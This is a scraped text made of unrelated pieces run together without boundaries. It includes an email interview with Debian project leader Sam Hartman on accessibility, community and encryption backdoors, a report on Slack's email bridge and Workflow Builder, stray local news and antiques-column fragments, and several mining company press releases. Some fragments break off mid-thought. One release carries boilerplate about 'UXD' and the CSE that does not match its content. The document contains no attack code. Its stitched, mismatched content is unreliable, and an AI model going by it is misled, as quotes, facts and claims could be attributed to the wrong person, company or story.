and Debian are the communities that are really important in my life," he added. Hartman was interviewed by email. Detailed replies to some other queries are below. iTWire: I take it that you were born blind; correct me if I err. How much has this been a handicap to your involvement with software? To what extent has it been a plus? Sam Hartman: Correct. Whenever the world changes enough that I'm starting to worry about whether I'll be able to continue to use the latest computers, T.V. Raman goes and fixes things. He wrote the accessibility software that let me ditch DOS for Linux back in the 1990s; I still use it today. Whenever PDFs were becoming ubiquitous enough that I couldn't escape them I learned he was at Adobe working on accessibility software. And then when having a flip phone without text interfaces that I could really use was becoming unworkable, Google is coming out with accessibility for Android and there he is. He and the Debian accessibility team are my heroes. But really in this field it doesn't get in the way too much. While Phoronix users were arguing that a blind developer couldn't care about graphics, I was busy using my GNOME laptop to debug a QT crash in a video app as we migrate our software to Buster at work. I think being blind helps in one significant way. I can't rely on visual notes and had to spend a lot of my formative years in school relying almost exclusively on my memory. I learned a lot of tricks to make that work. The biggest was understanding how systems work well enough to split them into parts. It turns out that is the primary skill for computer security and network protocol work. If you'd like to say something about your partner and kids, if any... I didn't make it to Debconf last year because I was getting married. I did bring a bit of Debian to the wedding though and wore my Debian kilt (picture on the right). I'm excited to be bringing my wife to her first Debian conference in Brazil this July. Her encouragement to go do what I believe in and run for DPL gave me the final confirmation that this investment in Debian was worth it for me. You mentioned in your platform that you wanted to retain the fun element as far as involvement in Debian goes. To what extent does a code of conduct contribute to making something fun? Like traffic signs and speed limits, codes of conducts themselves aren't fun, even though they are important. What is fun is spending almost 20 years in a community that cares about me and my contributions. What's fun is seeing members of the community grow in technical and social skill. I was looking back at debian-vote discussions from 2006. We've come along way in respecting each other since then. Yet we can still disagree; we still express strong opinions. We've got the code of conduct. We've made our commitment to respecting each other and inclusion. We're working on figuring out how to do that in a way that acknowledges that improving communication is an ongoing process and that social as well as technical evolution is essential to our success. We're never going to give up expressing those strong opinions or having passion for what we do. But we can add a healthy dose of compassion to the mix. If you can highlight one thing that is holding Debian back, what would that be? Decisions take a long time. Increasingly developers are frustrated with some of our tools and processes. Debian is great for experimenting with lots of ways of doing things. We aren't always great at consolidating on the solution that ended up working best when we're done with those experiments. And, on the other side, what is the greatest strength of the project, the one thing that has kept it going through the years? Our maintainers and their creativity keep us going. Shortly after the voting started someone announced a tool they had been working on that addressed one of the pain points (making the same change to a lot of packages) brought up in the election cycle. Individual maintainers can try new things. Often they catch on. That's a huge strength. Debian is now a very mature platform. What directions do you think the project should take now to continue to keep itself relevant and a source of strength to upcoming projects that need guidance? We should improve our workflows to make it easier and more efficient to contribute. I think Debian has a lot of value to provide as a base for application containers and can gain a lot from application containers like Flatpak and Snap. I hope we do that. Debian is important even if lots of applications come from language-specific repositories. We provide base dependencies and provide a common interface when people care about stability and consistency more than the latest version. Where we add value, we should help people understand what that is. We should avoid getting in the way where we don't have something to offer. Do you see any future for Debian as an operating system for other devices tablets, for example? That situation continues to improve. As an example you can run a Debian container on Chrome OS. I look forward to what's coming next. Pulling together the efforts of more than a thousand developers, all (or most) of them opinionated, has been likened in the past to herding an unruly group of cats. How do you see it? Since nobody can obviously gain the support of everyone, what kind of split of opinion will satisfy you with regard to any initiative? I come from the IETF so rough consensus and running code is dear to my heart. A lot of thought was put into RFC 7282; it has great advice on how much discussion you need. Generally, you need to understand the arguments and consider them. Repeating past that point probably doesn't help. Debian is not the IETF though. We'll face situations where we cannot wait for rough consensus or where it's not worth the cost of that much discussion. I think the DPL can get a good feel for whether more discussion is helpful. What I hope to bring to the process is guiding the discussions to an end when more rounds of repetition will not improve our result or offer more compassion. Are you happy with the one-year term for a DPL or do you think that longer terms might be more productive in terms of getting changes implemented? There's no way I would have run for a two-year term. It might well make sense to run for a second term if I'm being successful and enjoying the position. The job is emotionally involved enough that both the project and a DPL need a chance to evaluate whether things are working out. I do think that having DPLs stand for two years is valuable, but we have not had trouble re-electing DPLs when that made sense. This question is not directly related to Debian, but more to your involvement with Kerberos. In recent years, there has been a push to create legislation so that backdoors can be placed in encryption software. The FBI-Apple case is one example; a second is from Australia, where a law was passed last year to make it possible to bypass encryption. What do you think of this trend? Does the end justify the means? Or will this push Britain was first to pass a law known as the Snoopers Charter be to the detriment of computer users at large? When I started working on security software back in 1995, we were in the middle of the Clipper Chip and the US's first dance with key escrow and backdoors. Just as predicted there were bugs in Clipper. Criminals by definition are not overly concerned with following the law. They will always be able to get crypto without back doors. If necessary, they can double encrypt so that even the government cannot tell unless it actually uses its backdoor. I was not around for RFC 1984 and RFC 2804, but the arguments there still apply today. I was in the IETF plenary room when we decided to change the Internet to fight back against government spying. TLS 1.3 and the strong security of WebRTC are part of the response to that. I think that a more secure Internet, rather than legally mandated backdoors that the criminals will ignore, is more my style of security. Anything else you would like to add? Several voters hoped that the good ideas discussed during the campaign process would not be lost. Just after I reached out to thank the previous DPL for his work, I reached out to the other candidates. Jonathan [Carter] and I are starting with his idea for community meetings, but that's only a start. Unfortunately Martin [Michlmayr] doesn't have time to pursue most of his ideas, although we'll be coordinating mid-May to see what's possible. I am excited to be working with Joerg in all his roles. SAN FRANCISCO Slack users will soon be able to communicate with colleagues that use only email with the launch of a new email bridge feature for the companys popular collaboration software. That email bridge is one of a range of updates unveiled Wednesday at the Slack Frontiers user conference here; other announcements include a simple workflow automation tool and the extension of the Shared Channels beta preview to customers of its Enterprise Grid product. The bridge is aimed at workers who are unwilling to make the switch from email to Slack when co-workers have moved to the app. These team members will receive an email notification when theyre mentioned by their username in channels or are sent a direct message. They will not be able to see messages from other users in a channel however; for that they would need to login to Slack. Of course, to use the function, the email user would already have to be at least signed up to Slack. The email bridge will let companies migrate - or not migrate - at their own pace, but it will also enable the Slack users to still remain productive because they are using Slack and leveraging other integrations that help them do work, said Wayne Kurtzman, a research director at IDC. So in many ways it is a win-win for everyone. Angela Ashenden, principal analyst at CCS Insight, said that while Slack has had success in gaining traction within organizations on a team-by-team basis, there will inevitably be some employees resistant to change. You are always going to have people who push back, so the more you can reduce the friction of the pushback, the better, she said. Slack Slack is connecting email and its own collaboration app in a bid to ease cross-app communications. The email bridge follows a recent announcement about the ability to share emails from Googles Gmail and Microsoft Outlook directly into Slack; it follows the companys acquisition of email management app Astro last year. "It responds to feedback we have had, particularly our large customers who have said: 'We have a lot of people in Slack, a bunch or all of them work in Slack, but they are now separated from some who are still just in email and there is this gap between us - help us bridge that gap, said Andy Pflaum, director of product at Slack. There are number of times where a colleague may have been invited into Slack but decided not to join a channel or conversation, said Pflaum. They haven't gotten around to it, or they just want to stay in email. And that is okay for now. But we want to make it so that those people can be connected to the conversations that are moving forward in Slack. Of course, Slacks ultimate aim is to encourage users to move to its platform over time. What is interesting is that they are positioning it as a pre-onboarding enablement, so it is more about getting people into Slack, it is not about allowing people to communicate long term, said Ashenden. Outlook and Gmail will both be supported, with the feature becoming available to all users in the next few months. Slack also demoed the ability to let users respond to messages directly from their email inbox, with a response posted into Slack. No launch date for that feature, however, was given at Frontiers. A Workflow Builder tool for the masses Slack is also looking to make it a lot easier for all types of users to build their own simple workflow apps inside its platform using a no-code approach. Slack customers have already built hundreds of thousands of custom apps internally. But these generally require some level of technical know-how and are typically created by developers and IT staff. With the Workflow Builder tool, this process is streamlined, said Pflaum, saving employees time and reducing the demand on developer resources. Slack With Workflow Builder, Slack users will have access to a tool that lets them build their own simple workflow apps. For instance, a simple on-boarding workflow could be set up so that new employees receive a welcome message and links to relevant corporate information when they are added to Slack. Another example would be the automation of a self-service form for any benefit requests from HR. The workflows can be created via an intuitive interface that lets users set triggers and actions similar to an If This Then That-style interface. The feature follows Slacks acquisition of Missions in 2018. This is the emergence of their work to start to bring no-code and low-code tools to our users, said Pflaum. The Workflow Builder tool will be rolled out later this year, Slack said. Those interested in previewing the tool can sign up here. The ability to reduce friction and repetitive tasks now gets a bit easier, said Kurtzman. For those that are used to an If This Then That scenario, they will able to walk in to this and see the potential uses in their work day. And because it is consumer-level simple in a business environment it means that it is not difficult to program, it is not difficult to change, it is not difficult to use, and yet it can save you a number of steps on any given project. That is effective, that is something that people can see the value of, and that is why over time it will be adopted, he said. Angela Ashenden, principal analyst at CCS Insight, noted that Slack has been successful at encouraging developers to create apps, and Workflow Builder is part of its effort to appeal to a wider audience of professionals, whether in sales, marketing, HR or other areas of an organization. Increasingly what Slack wants to do is to spread the application much more widely across organizations, she said. [Workflow Builder] allows individuals it doesn't matter who they are to be able to create their own personal workflows or teams workflows. It has opened up a whole new wave of potential for the platform. It is not just about collaborating, but getting work done and coordinating work and processes, she said. So I think it is much more interesting as Slack tries to spread into the organization as a whole and getting out of this pocket of IT that it has made its name from. Enterprise Grid gets Shared Channels beta Slack also announced that of its Shared Channels feature will be available to more customers, with Enterprise Grid users able to apply for access to the beta product. Shared Channels was announced at Frontiers in 2017, enabling interactions with external users, such as service providers or clients, without the need for guest access. The beta has proved popular: 13,000 of Slacks paid customers have already signed up to test the service. However, it has taken longer to arrive for large customers using Enterprise Grid due to the greater complexity, said Slack. There is a certain complexity when there are many workspaces for administering and determining how you manage those shared channels, said Pflaum. The largest customers are the ones who could potentially have their shared channels fan out to the largest number of end points and we wanted to be careful and deliberate in the way we did that [to make sure it is a] well-tested experience for them. Kurtzman agreed that bringing Shared Channels to Enterprise Grid is a bigger challenge given the size of deployments and requirements around compliance. They only get one chance to roll this out at the Enterprise Grid level, and no doubt they wanted to do it so that it maintains or improves security, and the way they are rolling it out makes perfect sense. Enterprise Grid users will be able to sign up to the beta this summer. Slack did not say when general availability would roll out. This Week in Review A weekly review of the best and most popular stories published in the Imperial Valley Press. Also, featured upcoming events, new movies at local theaters, the week in photos and much more. A vehicle traveling east on Dempster Street around 7:45 p.m. was attempting to make a left turn onto Oleander Avenue, just east of Notre Dame College Prep, when it collided with the motorcycle which was headed in the opposite direction on Dempster, police said. Register with JOC.com and receive 5 free pieces of content for the first thirty days. After thirty days, you will receive 3 pieces of content and after sixty days you will receive 1 piece of content. To receive full access, Subscribe Today . You can also subscribe to our daily newsletter. Register Is it just you? I now have a team to help me, but it was just me at the start. My brother Ricky helped me start the company. He has since passed away. Ricky did all the sales in the beginning because I was not as outgoing. He was the guy who could talk to anybody. People naturally loved him. He helped get some of the clients we still work with today. Over the past year and a half, Ive pulled it together and hired a bunch of contractors. We have copywriters, graphic designers, animators, a director of photography who does all our video work. ... Anything you want to market your business, we can handle it. North State Aviation Holdings LLC, based at Smith Reynolds Airport in Winston-Salem, has agreed to be sold to a Dallas aircraft maintenance company. MRO Holdings Inc. said the potential deal would expand the companys U.S.-based heavy-maintenance capacity. The addition of North State Aviation would complement MRO Holdings Flightstar operation in Jacksonville, Fla., giving it up to 24 narrow-body equivalent lines of maintenance in the United States, and more than 70 total lines across all global facilities. MRO also has facilities at Aeroman in El Salvador and TechOpsMX in Queretaro, Mexico. North State Aviation is a Certified FAR 145 repair station with heavy maintenance, modification and repair capabilities for Boeing 727, 737, 757, 767 and the Airbus A320 family of aircraft. Its current owner bought in June 2017 the assets of North State Aviation LLC, which abruptly went out of business March 23, eliminating 345 local jobs. Answer: Auguste Moreau (1834-1917) was a French sculptor, and the son, father and uncle of other Moreau family members, who were also artists. His works usually are made of bronze, with examples in many museums. Moreau is known for his statues of women in the Art Nouveau style and his original work sells for high prices. Spelter copies of Moreau sculptures are worth much less. While your lamp is marked Moreau, it is not an original sculpture, but it could have been cast at the Moreau foundry. It is made of spelter, a zinc alloy that resembles bronze but is lighter and softer. It was used for figurines, candlesticks and lamp bases, like yours, and given a bronze or painted finish. If you like the lamp, have it repaired. Fixed and rewired, your lamp is worth $250 to $400. Q: I have a Cherry Boy statue, but it doesnt look like the one on your website. Its a boy holding cherries above his mouth, but he has blond hair. The bottom of the statue under the tree trunk has Atlantic Mocd looks like scraped into it, like it was put there when the material was still wet. Can you tell me anything about my statue? Hough is pursuing the claims against the school board with the N.C. Industrial Commission. No trial date has been set for the litigation against the school board. Hasani was a sixth-grader at East Forsyth Middle School. On the morning he was hit, he had missed the school bus, which turned around on Old Hollow Road to pick him up across from his usual bus stop. Bailey was driving his Jeep along Old Hollow Road when he passed the stopped school bus and hit Hasani, throwing the boy 125 feet. Hasani later died from his injuries. Hasanis death sparked a push for new legislation that would increase penalties against drivers who illegally pass school buses. That led to a new law called the Hasani N. Wesley School Bus Safety Act. Bailey was charged with involuntary manslaughter and passing a stopped school bus and went on trial in 2014. The case ended in a mistrial, and Bailey, a Walkertown minister, later pleaded guilty to misdemeanor death by motor vehicle. He was sentenced to 30 days in jail and was placed on supervised probation for 30 months. While it seems unclear from the Mueller report whether further information was shared with the president and his staff, this meeting in 2017 has the impact of seriously threatening Senator Burrs later claims of independence from the executive, Wemlinger said. A crucial role of Congress is to provide a check on the power of the executive, and this role is impeded when there is partisan coordination between these two separate branches of government. Comeys briefing about the FBIs Russia investigation with the Democratic and Republican leaders of the House and the Senate, as well as the heads of the intelligence committees, took place March 9, 2017. On March 20, Comey confirmed publicly during a House Intelligence Committee hearing that the FBI was looking into possible coordination between the Trump campaign and the Kremlin the FBIs first official acknowledgment that it had been looking into such matters since late July 2016. Burrs conversation with McGahns office appears to have taken place March 16, 2017, according to information McGahns chief of staff at the time, Annie Donaldson, provided to Muellers investigators. I always wanted to go into family medicine because I wanted to get to know my patients and nurture them always, he said. As a doctor, the most fun you can have is delivering babies. My overwork of four decades of school and doctoring has been fueled by the calling to care as well as possible for people who entrust me with that care. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. SURREY BC / ACCESSWIRE / April 26, 2019 / Gungnir Resources Inc. (GUG: TSX-V, ASWRF: OTCPK) ("Gungnir" or the "Company") reports that the Company has entered into a royalty option agreement (the "Agreement") with Ximen Mining Corp. (XIM: TSX-V) ("Ximen") pursuant to which the Company has granted to Ximen an option to purchase the Company's remaining royalty interest in the Kenville Gold Mine property ("Kenville") for total consideration of $1,700,000 (the "Purchase Price"). Jari Paakki, Gungnir's CEO stated, "This is a good arrangement for the Company as the transaction is scheduled to be completed in 2019 rather than in 2021, and it provides funds for continued exploration in Sweden. The Company will outline exploration plans in the coming weeks." To exercise its option, Ximen will pay the Purchase Price as follows: $500,000 in cash, currently held in escrow and to be released to Gungnir upon approval of the transaction by the TSX Venture Exchange (" TSXV "); "); $200,000 in common shares of Ximen (the " Shares "), to be issued within 10 days after the TSXV approval at a price per share equal to the volume weighted average price of the Shares for the 20 trading days prior to the announcement date; and "), to be issued within 10 days after the TSXV approval at a price per share equal to the volume weighted average price of the Shares for the 20 trading days prior to the announcement date; and $1,000,000 in cash, to be paid on or before October 31, 2019. The exercise of the option is subject to Ximen paying the Purchase Price as set out above and the receipt of TSXV approval on or before June 15, 2019 (unless such date is extended in accordance with the Agreement). Once issued, the Shares will be subject to a hold period of four months and a day from the date of issuance. Kenville was sold in 2014 for $5,900,000. The Company has received $3,000,000 from this original property transaction. The remaining future advance royalty payments were scheduled for April 30th, 2019, 2020 and 2021. About Gungnir Resources Gungnir Resources Inc. is a Canadian-based TSX-V listed mineral exploration company (GUG: TSX-V) with gold and base metal permits in northern Sweden. Successful drill programs in 2017 and 2018 at its Knaften project resulted in back-to-back new base metal target discoveries; the Rodingtrask VMS and a Cu-Ni target. These new targets add significant up-side to the previously gold-only Knaften project, and now the Company has numerous opportunities at deposit discovery by way of multiple targets and metals. All three targets on Knaften are wide-open for expansion and further discovery. Further information about the Company and its properties may be found at www.gungnirresources.com or at www.sedar.com. On behalf of the Board, Jari Paakki, CEO and Director For further information contact: Head Office/Investor Relations Phone: +1-604-683-0484 Jari Paakki, CEO Email: This email address is being protected from spambots. You need JavaScript enabled to view it. Chris Robbins, CFO Email: This email address is being protected from spambots. You need JavaScript enabled to view it. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Note Regarding Forward-Looking Statements: Certain statements made herein may contain forward-looking statements or information within the meaning of Canadian securities laws. In certain cases, forward-looking statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "believes", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved", or the negative of these words or comparable terminology. By their very nature forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual performance of the Company to be materially different from any anticipated performance expressed or implied by the forward-looking statements. Such forward-looking statements or information include, but are not limited to, statements or information with respect to Gungnir's plan for future exploration and development of its properties, Gungnir's plan for future disclosure relating to exploration and development of its properties, the receipt of TSXV approval for the transaction, the payment of the Purchase Price, the completion of the transaction within the timelines set out above or at all. Forward-looking statements or information are based on a number of estimates and assumptions and are subject to a variety of risks and uncertainties, which could cause actual events or results to differ from those reflected in the forward-looking statements or information. Should one or more of these risks and uncertainties materialize, or should underlying estimates and assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements or information. For example, there is no certainty, that any economically viable mineral deposit will be located on the properties, that the Company will receive or be able to raise sufficient capital to complete all of its exploration programs or that the transaction will complete as anticipated. Accordingly, undue reliance should not be placed on forward-looking statements or information. Gungnir does not expect to update forward-looking statements or information continually as conditions change, except as may be required by securities law. Vancouver, British Columbia--(Newsfile Corp. - April 26, 2019) - MAX RESOURCE CORP. (TSXV: MXR) (OTC Pink: MXROF) (FSE: M1D1) (the "Company") is pleased to provide a sample analysis and exploration update for the Company's 1,757 sq. km "Choco Gold and Platinum Project", located 100km SW of Medellin, Colombia. MAX continues to process 25kg to 50kg sample lots from the 2500 kg of gold-bearing conglomerate from each of the six conglomerate test pits; This on-going analytical testing of the 25kg to 50kg samples continues to show free gold + free platinum in most of the samples processed; Subsequent further processing of the panned concentrates has proven to be a challenge as most of the fine gold observed in the panned concentrates does not appear in the concentrates, once the follow up processing is completed; Detailed investigation has indicated, due to the fine nature or particle size of the gold grains, all the fine gold in the sample could not be collected for analysis, as free gold was observed washed away in the processing water, the samples processed to date are therefore compromised; Testing is progressing towards optimizing recovery of the fine gold; MAX will provide further updates as received. It is important to be aware that the conglomerate geological model has only recently been identified. MAX has experienced sampling inconsistences not previously encountered, this has resulted in on going changes and refinements in the processing of the conglomerate samples. Management anticipates the technical team will resolve the processing inconsistences in the near future. While awaiting the test results of the conglomerates, exploration continues at Choco. The MAX team has refined its exploration strategy to focus on locating enrichment zones, by conducting sample analysis on the weathered material, that overlays the conglomerates. The gold in the weathered conglomerate appears coarser in nature. The relevance of identifying the surface zones is the enrichment zones should continue at depth. As originally theorized, the entire system was essentially in-situ. The field team expects to then zero in on the underlying conglomerate (hard-rock) enrichment zones over the 1,757 sq. km property, including the 1,000 sq. km exploration area. Results will be released as received. MAX CEO Brett Matich commented. "We remain excited with the free gold + free platinum observed in most of the 25kg to 50kg samples processed to date and we will continue to advance our objective of optimizing recovery of the fine gold and platinum from the conglomerates." He continued, "I have no doubt the revised exploration strategy will successfully identify the underlying conglomerate enrichment zones." About MAX Resource Corp. MAX is a mineral exploration company focused on the development and acquisition of prospective projects in the rich mineral belts of Colombia. The Company has established significant exploration infrastructure and local community support for the Choco Gold and Platinum Project, located 100 km south of Medellin, which covers or is adjacent to historic production of 1.5Mozs gold and 1.0Mozs platinum. The Company's Gachala Copper Project, is located 60 km east of Bogota. The Company is led by a seasoned management team with a track record of significant discovery and exploration success. Source: R.J. Fletcher and Associates (2011) Review of Gold and Platinum Exploration and Production in Choco Province Colombia Part 3. Private Report for Condoto Platinum Ltd.) MAX cautions investors it has yet to verify the historic information. Tim Henneberry, PGeo (British Columbia), a member of the MAX Resource advisory board, is the qualified person who has reviewed and approved the technical content of this news release on behalf of the company. For more information visit: https://www.maxresource.com/ For additional information contact: MAX Resource Corp. Tim McNulty E: This email address is being protected from spambots. You need JavaScript enabled to view it. T: (604) 290-8100 For MAX Resource's French inquiries: Remy Scalabrini, Maricom Inc. E: This email address is being protected from spambots. You need JavaScript enabled to view it. T: (888) 585-MARI No stock exchange or securities regulatory authority has reviewed or accepted responsibility for the adequacy or accuracy of this release. Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the CSE. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for UXD described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Additional information identifying risks and uncertainties that could affect financial results is contained in the Company's filings with Canadian securities regulators, which filings are available at www.sedar.com VANCOUVER, BC / ACCESSWIRE / April 26, 2019 / Sarama Resources Limited ("Sarama" or the "Company") is pleased to announce that further to its press release issued April 9, 2019 in relation to the Company's proposed private placement, due to strong support from existing shareholders and new investors, the Company has increased its offering to up to 69,411,765 common shares at a price of C$0.085 per common share to raise gross proceeds of up to C$5,900,000 (the "Private Placement"). All other terms of the Private Placement remain the same. Andrew Dinning, Sarama Resources CEO commented: "We are pleased with the interest and support shown in this capital raising and have decided to take the additional funds on offer. The additional proceeds will be used to accelerate the growth of our oxide and free-milling mineral resource base which will in turn allow us to more rapidly define the development opportunity that we have in the southern Hounde belt." Figure 1 - Sarama Resources' Exploration and Development Projects in South-West Burkina Faso The proceeds of the Private Placement will be used to fund payments to regain 100% ownership of the South Hounde Project (news release dated 27 November 2018), exploration activities and to meet working capital requirements of the Company. Sarama intends to undertake a resource development program to firm-up and expand existing oxide and free-milling mineral resources on the South Hounde and ThreeBee Projects. The South Hounde Project hosts an inferred mineral resource of 2.1Moz Au(1), including an oxide and transition component of 611koz Au(1). The ThreeBee Project hosts the Bondi Deposit which has a historical mineral resource(1) of 282koz Au measured and indicated; and 150koz Au inferred. Together, these projects form the foundation for possible development in the region. Exploration drilling in 2018 has identified extensions to the Bondi Deposit and new zones of high potential. The ThreeBee Project also hosts the Bamako Property where a +3km-long gold-quartz vein system has been identified that has returned rock-chip assays up to 18.9g/t Au and gold-in-soil values of up to 13.6g/t Au and historical scout drilling results including 16m @ 6.1g/t Au. The Private Placement will be conducted on a non-brokered basis to accredited investors pursuant to prospectus exemptions available under applicable securities laws and is subject to the approval of the TSX Venture Exchange. A four-month hold period will apply to all the Shares. The Company plans to close the Private Placement on or about April 29, 2019 but reserves the right to extend the closing date and may close the placement in one or more tranches. The Shares have not been and will not be registered under the United States Securities Act of 1933, as amended, (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from registration is available. This announcement does not constitute an offer to sell or a solicitation of an offer to buy any of the Shares within the United States or to, or for the account or benefit of, U.S. Persons (as defined under Regulation S under the U.S. Securities Act), nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful. Early Warning Notice As announced on April 9, 2019, Silver Lake Resources Limited ("Silver Lake") has agreed to participate in the Private Placement. Silver Lake, whose head office is at Suite 4, Level 3, South Shore Centre, 85 South Perth Esplanade, South Perth WA 6151, Australia, has agreed to subscribe for an aggregate of 29,529,000 Common Shares at C$0.085 each for gross proceeds of C$2,509,965. Silver Lake owned no Common Shares prior to the Private Placement. Assuming the issuance of an aggregate of 69,411,765 Common Shares by Sarama in the Private Placement, Silver Lake would own 11.76% of Sarama's outstanding Common Shares upon completion of the Private Placement. Pursuant to an Ancillary Rights Agreement to be entered into between Sarama and Silver Lake as part of the Private Placement, Silver Lake will have a pre-emptive right to participate in any future proposed equity offering of Sarama in order to maintain its pro rata interest until such time as Sarama achieves commercial production. Silver Lake will also be subject to a broad distribution undertaking should it wish to dispose of any of its Common Shares and a standstill provision whereby Silver Lake will not acquire ownership of 20% or more of the common shares in Sarama without the consent of Sarama, in both cases so long as it holds at least 5% of the Common Shares. The Common Shares will be acquired for investment purposes by Silver Lake. Silver Lake does not have any present intention to acquire ownership of, or control over, additional securities of Sarama. It is the intention of Silver Lake to evaluate its investment in Sarama on a continuing basis and such holdings may be increased or decreased in the future. For further information on the Company's activities, please contact: Andrew Dinning or Lui Evangelista e: This email address is being protected from spambots. You need JavaScript enabled to view it. t: +61 (0) 8 9363 7600 ABOUT SARAMA RESOURCES LTD Sarama Resources Ltd (TSX-V: SWA) is a West-African focused gold explorer and developer with substantial landholdings in Burkina Faso. Sarama is focused on consolidating under-explored landholdings in Burkina Faso and advancing its key projects towards development. Sarama's 100%-owned(7) South Hounde and ThreeBee Projects are located within the prolific Hounde Greenstone Belt in south-west Burkina Faso and are the exploration and development focus of the company. Its exploration programs have successfully discovered an inferred mineral resource estimate of 2.1Moz gold(2) at the South Hounde Project which is complemented by the ThreeBee Project's Bondi Deposit (historical estimate of mineral resources of 0.3Moz Au measured and indicated and 0.1Moz Au inferred(2)). Together, the projects form a cluster of advanced gold deposits, within trucking distance of one another, which potentially offers a development option for a multi-source fed central processing facility in the southern Hounde Belt region of Burkina Faso. Sarama has also built a growth pipeline which features a new 600km exploration position in the highly prospective Banfora Belt in south-western Burkina Faso. The Koumandara Project hosts several regional-scale structural features and trends of gold-in-soil anomalism extending for over 40km along strike. Sarama holds a 25% participating interest in the Karankasso Project Joint Venture ("JV") which is situated adjacent to the Company's South Hounde Project in Burkina Faso and is a JV between Sarama and Savary Gold Corp. ("Savary"). Savary is the operator of the JV and in October 2015, declared a maiden inferred mineral resource estimate of 671,000 ounces of contained gold(3) at the Karankasso Project JV. Incorporated in 2010, the Company's Board and management team have a proven track record in Africa and a strong history in the discovery and development of large-scale gold deposits. Sarama is well positioned to build on its current success with a sound exploration strategy across its property portfolio. FOOTNOTES South Hounde Project - 43.0Mt @ 1.5g/t Au (reported above cut-off grades ranging 0.3-2.2g/t Au, reflecting the mining methods and processing flowsheets assumed to assess the likelihood of the inferred mineral resources having reasonable prospects for eventual economic extraction). This mineral resource contains an oxide and transition component of 16.0Mt @ 1.2g/t Au for 611koz Au (reported at a cut-off grade of 0.3g/t Au for oxide and 0.8g/t Au for transition material). The effective date of the Company's inferred mineral resource estimate is February 4, 2016. For further information regarding the mineral resource estimate please refer to the technical report titled "NI 43-101 Independent Technical Report South Hounde Project Update, Bougouriba and Ioba Provinces, Burkina Faso", dated March 31, 2016 and prepared by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered to be independent of Sarama. The technical report is available under Sarama's profile on SEDAR at www.sedar.com. Bondi Deposit - 4.1Mt @ 2.1g/t Au for 282,000oz Au (measured and indicated) and 2.5Mt @ 1.8g/t Au for 149,700oz Au (inferred), reported at a 0.5 g/t Au cut-off. i. The historical estimate of the Bondi Deposit reflects a mineral resource estimate compiled by Orezone Gold Corporation ("Orezone") which has an effective date of February 20, 2009. The historical estimate is contained in a technical report titled "Technical Report on the Mineral Resource of the Bondigui Gold Project", dated date of February 20, 2009 and prepared by Yves Buro (the "Bondi Technical Report"). Yves Buro is an employee of Met-Chem Canada Inc and is considered to be independent of Orezone and Sarama. The technical report is available under Orezone's profile on SEDAR at www.sedar.com. ii. Sarama believes that the historical estimate is relevant to investors' understanding of the property, as it reflects the most recent technical work undertaken in respect of the Bondi Deposit. iii. The historical estimate was informed by 886 drillholes, assayed for gold by cyanidation methods, were used to interpret mineralised envelopes and geological zones over the area of the historical estimate. Gold grade interpolation was undertaken using ID methodology based on input parameters derived from geostatistical and geological analyses assessments. Field measurements and geological logging of drillholes were used to determine weathering boundaries and bulk densities for modelled blocks. iv. The historical estimate uses the mineral resource reporting categories required under National Instrument 43-101. v. No more recent estimates of the mineral resource or other data are available. vi. Sarama is currently undertaking the necessary verification work in the field and on the desktop that may support the future reclassification of the historical estimate to a mineral resource. vii. A qualified person engaged by Sarama has not undertaken sufficient work to verify the historical estimate as a current mineral resource and Sarama is therefore not treating the historical estimate as a current mineral resource. Karankasso Project - 9.2Mt @ 2.3g/t Au (at a 0.5g/t Au cut-off). The effective date ("Effective Date") of the most recent Karankasso Project JV mineral resource estimate that is supported by a technical report is October 7, 2015. For further information regarding that mineral resource estimate please refer to the technical report titled "Technical Report and Resource Estimate on the Karankasso Project, Burkina Faso", dated October 7, 2015 and prepared by Eugene Puritch and Antoine Yassa. Eugene Puritch and Antoine Yassa are employees of P&E Mining Consultants Inc. and are considered to be independent of Savary and Sarama. The technical report is available under Savary's profile on SEDAR at www.sedar.com. Sarama has not independently verified Savary's mineral resource estimate and takes no responsibility for its accuracy. Savary is the operator of the Karankasso Project JV and Sarama is relying on their Qualified Persons' assurance of the validity of the mineral resource estimate. Additional technical work has been undertaken on the Karankasso Project since the Effective Date, including but not limited to, metallurgical testwork, exploration drilling and mineral resource estimation, but Sarama is not in a position to quantify the impact of this additional work on the mineral resource estimate referred to above. The ThreeBee Project comprises the Djarkadougou, Botoro, Bamako(5) and Bouni(5) Properties and Sarama has, or is entitled to have, a 100% interest in each of the properties. The Djarkadougou, Bamako and Bouni Exploration Permits are going through a process with the government of Burkina Faso where it is required they be reissued as new full-term exploration permits. The Company anticipates this to be completed in due course, though there can be no assurance that the process will be successfully completed on a timely basis, or at all. For further information regarding the drilling on the Bamako and Bouni Properties, please refer to the technical report titled "NI 43-101 Independent Technical Report South Hounde Project Update, Bougouriba and Ioba Provinces, Burkina Faso", dated October 28, 2013 and prepared by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered independent of Sarama. The technical report is available under Sarama's profile on SEDAR at www.sedar.com. Drilling previously disclosed in Sarama news release of September 20, 2018. Upon completion of definitive agreements between Sarama and Acacia Mining plc. CAUTION REGARDING FORWARD LOOKING STATEMENTS Information in this disclosure that is not a statement of historical fact constitutes forward-looking information. 